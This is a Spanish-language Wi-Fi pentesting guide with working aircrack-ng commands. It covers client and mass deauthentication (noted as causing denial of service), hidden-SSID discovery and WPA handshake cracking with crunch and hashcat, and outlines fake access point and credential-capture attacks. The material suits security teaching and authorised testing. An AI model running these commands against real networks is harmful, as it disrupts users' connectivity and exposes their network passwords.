> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/redes-wi-fi.md).

# Redes Wi-Fi

{% hint style="info" %}
Como se van a trabajar con múltiples tarjetas de red, como todos los comandos tienen una versión con variables, para que sea más fácil y rápido modificar la información.&#x20;
{% endhint %}

## <mark style="color:red;">Deautenticación</mark>

> Desconectar a todo el mundo o un cliente en específico (ESSID) de un AP.

Para la realización de la mayoría de ataques, cuando no podamos capturar conexiones nuevas en la red, será muy útil realizar un ataque de deautenticación controlado contra clientes de la red objetivo con el fin de desconectar a un usuario/cliente de la red objetivo y capturar la información de autenticación de dicho usuario de acuerdo a la seguridad de la red en cuestión.

Por ejemplo, si la red tiene:

* **WPA-PSK:** Se fuerza al usuario a deautenticarse de la red, podremos capturar el handshake.
* **WPA-MGT:** Se fuerza al usuario a deautenticarse y se capturan credenciales con un AP falso.

{% hint style="success" %}
Si se quiere evitar realizar ataques de deautenticación, es recomendable capturar paquetes antes de que se realicen nuevas conexiones, por ejemplo, al comienzo de la jornada habitual de los trabajadores o al volver de la hora de comida. Para ello, bien se puede madrugar, o dejar una raspberry PI capturando handshakes y/o un AP falso (aquí es donde empieza a ser útil tener mínimo dos tarjetas de red y, además, cuenten con soporte de la frecuencia del AP más cercano a la posición del dispositivo de ataque).
{% endhint %}

### Deautenticación simple

Para realizar un ataque de deautenticación, es necesario conocer:

* La MAC del AP del SSID (red objetivo) del cuál se quiere obtener el *handshake*.
* La MAC de un cliente que se encuentre conectado a dicho AP.

Esta información se puede obtener de la siguiente forma:

1. Realizar una captura básica para obtener información de las redes cercanas. [\[Captura básica\]](#captura-basica)
2. Obtener la MAC de la red objetivo. [\[Captura de un ESSID en concreto\]](#captura-de-un-essid-en-concreto)
3. Realizar una captura del AP con la MAC obtenida. [\[Captura de un BSSID en concreto\]](#captura-de-un-bssid-en-concreto)
4. Seleccionar la MAC del cliente que se desea deautenticar.
5. Utilizar airplay-ng para deautenticar al usuario, repetir todas las veces que se considere necesarias para obtener el *handshake* o credenciales. Si no se consigue obtener un *handshake*, ponerse en medio o acercarse al cliente objetivo.
6. Obtención del *handshake* o credenciales.

De acuerdo a los pasos mencionados anteriormente:

1. Capturar de redes cercanas o directamente nuestra red objetivo:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
PCAP=captura
REGEX=WIFI_*
airodump-ng $IFACE --write $PCAP --essid-regex $REGEX
```

{% endcode %}

2. Conociendo la MAC (BSSID) de la red objetivo, se realiza una captura de paquetes de dicha red. Aquí pueden pasar dos cosas:
   * Se realiza una nueva conexión por parte del cliente y se consigue capturar el *handshake* o credenciales.
   * Forzamos la nueva conexión del cliente usando la MAC del dispositivo que se quiera deautenticar para capturar el *handshake* en cuanto se intente conectar al AP (ir al punto 3).

{% code overflow="wrap" %}

```bash
IFACE=wlan0
BSSID=00:11:22:33:44:55
CH=6
PCAP=captura
airodump-ng --bssid $BSSID --channel $CH --write $PCAP $IFACE
```

{% endcode %}

3. Se realiza la deautenticación del cliente objetivo mientras se capturan paquetes del AP (BSSID) o red (ESSID) en cuestión.
   1. Si se conoce que solo hay un AP en la red, será interesante hacerlo solo de este o del AP más cercano a nuestra posición, esto se puede saber por la potencia de la señal.
   2. En cambio, si la red tiene múltiples AP's, será interesante realizar una captura del ESSID, con el fin de abarcar todos los AP's correspondientes a la red objetivo y tener mayor probabilidad de capturar el *handshake*.

Mientras se realiza una captura del AP o red (con el comando del punto 2), desde otra terminal se ejecuta el siguiente comando para forzar la deautenticación del cliente:

{% code overflow="wrap" %}

```bash
aireplay-ng --deauth <segundos de desconexión> -a <bssid de la red> -c <dispositivo a desconectar> <interfaz>
aireplay-ng --deauth 4 -a 00:11:22:33:44:55 -c 55:44:33:22:11:00 wlan0 --ignore-negative-one 
```

{% endcode %}

Lo mismo, con variables:

{% code overflow="wrap" %}

```bash
IFACE=wlan0
DEAUTH=4
BSSID=00:11:22:33:44:55
MACVICTIM=55:44:33:22:11:00
aireplay-ng --deauth $DEAUTH -a $BSSID -c $MACVICTIM $IFACE --ignore-negative-one 
```

{% endcode %}

4. Realizar la deautenticación hasta obtener un *handshake* o credenciales. Si no se consigue un resultado favorable, habrá que colocarse físicamente entre el AP y la víctima, a mayor cercanía, más probabilidades de capturar los paquetes.

### Deautenticación múltiple

Si se realiza la deautenticación anterior para múltiples usuarios, se puede causar una denegación de servicio en masa.

```bash
IFACE=wlan0
DEAUTH=10
BSSID=00:11:22:33:44:55
aireplay-ng -0 $DEAUTH -a $BSSID $IFACE
```

## Obtener nombres de redes ocultas - Hidden SSIDs

Es posible obtener el nombre de redes ocultas si se capturan paquetes de conexiones de clientes a esta red.

Por ejemplo, se identifican las redes disponibles, y posteriormente, se capturan paquetes del BSSID del que se desee obtener el nombre.

```bash
IFACE=wlan0
airodump-ng $IFACE
```

```bash
IFACE=wlan0
CH=6
BSSID=00:11:22:33:44:55
airodump-ng --bssid $BSSID --channel $CH $IFACE
```

Una vez se conecte un usuario, bien de forma trivial o por medio de forzar una nueva conexión deautenticando al usuario, se obtendrá el nombre de la red.

## <mark style="color:red;">Cracking</mark>

### Diccionarios

#### Crunch

{% code overflow="wrap" %}

```bash
crunch 16 16 abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 -t @@@@@@@@@@@@@@@@ -o wordlist
```

{% endcode %}

### Hashcat

Para el cracking de contraseñas desde los pcap capturados, se puede realizar un:

* Ataque por diccionario.
* Ataque de fuerza bruta.

Para el ataque por diccionario:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 wordlist.txt
```

{% endcode %}

Para el ataque por fuerza bruta:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 -a 3 ?d?d?d?d?d?d?d?d
hashcat -m 22000 hash.hc22000 -a 3 --increment --increment-min 8 --increment-max 12 ?d?d?d?d?d?d?d?d?d?d?d?d
```

{% endcode %}

Una vez se obtenga la contraseña, se puede visualizar con el siguiente comando:

{% code overflow="wrap" %}

```bash
hashcat -m 22000 hash.hc22000 --show
```

{% endcode %}

## <mark style="color:red;">Resumen de ataques</mark>

* \[DoS] Denegación de servicio.&#x20;
  * Ataque de deautenticación.
  * Saturación de APs.
* \[Cracking] Fuerza bruta.
  * WEP.
  * WPA-PSK.
    * Captura de handshake (4-way).
      * Nueva conexión.
      * Deautenticación.
    * Captura de PMKID.
    * WPS pin.
  * WPA-MGT.
    * Captura de nombres de usuario.
    * Fuerza bruta para obtención de credenciales.
* \[Fake AP] AP falso.
  * Red abierta.
    * Portal cautivo y captura de credenciales.
  * WPA-PSK.
    * Captura de handshake y cracking.
  * WPA-MGT.
    * Captura de credenciales corporativas.
    * Captura de nombres de usuarios.
    * Captura y falsificación de certificados.
* \[Otros] KARMA, MANA, Loud Mana, Known beacon.
  * Red abierta.
    * Portal cautivo y captura de credenciales.
  * WPA.
    * Captura de handshake.

Para la adaptación de los ataques de acuerdo a la casuística con la que nos encontremos y la seguridad de las redes objetivo, es muy útil utilizar el siguiente mapa para determinar el flujo de ataque y llevar un mejor control de las pruebas:

<https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf>

<figure><img src="https://raw.githubusercontent.com/koutto/pi-pwnbox-rogueap/main/mindmap/WiFi-Hacking-MindMap-v1.png" alt=""><figcaption><p>Wifi Hacking Mindmap</p></figcaption></figure>

### WEP

{% content-ref url="/pages/6UIhgx48p1m1GG28ANwn" %}
[WEP](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wep.md)
{% endcontent-ref %}

### WPA/WPA2-PSK

{% content-ref url="/pages/XLJgW6acKdoa6n1DiTwG" %}
[WPA2-PSK / Red personal](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-psk-red-personal.md)
{% endcontent-ref %}

### WPA/WPA2-MGT

{% content-ref url="/pages/vAGHYIgRlryZGEsfFxUZ" %}
[WPA2-MGT / Red corporativa](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa2-mgt-red-corporativa.md)
{% endcontent-ref %}

### WPA3

{% content-ref url="/pages/Dj0BLYz2xikeFaISg1Jy" %}
[WPA3](/pentesting-en-infraestructuras/redes-wi-fi/ataques-wi-fi/wpa3.md)
{% endcontent-ref %}

## <mark style="color:red;">Referencias</mark>

* <https://github.com/koutto/pi-pwnbox-rogueap/blob/main/mindmap/WiFi-Hacking-MindMap-v1.pdf>
* <https://github.com/ricardojoserf/wifi-pentesting-guide>
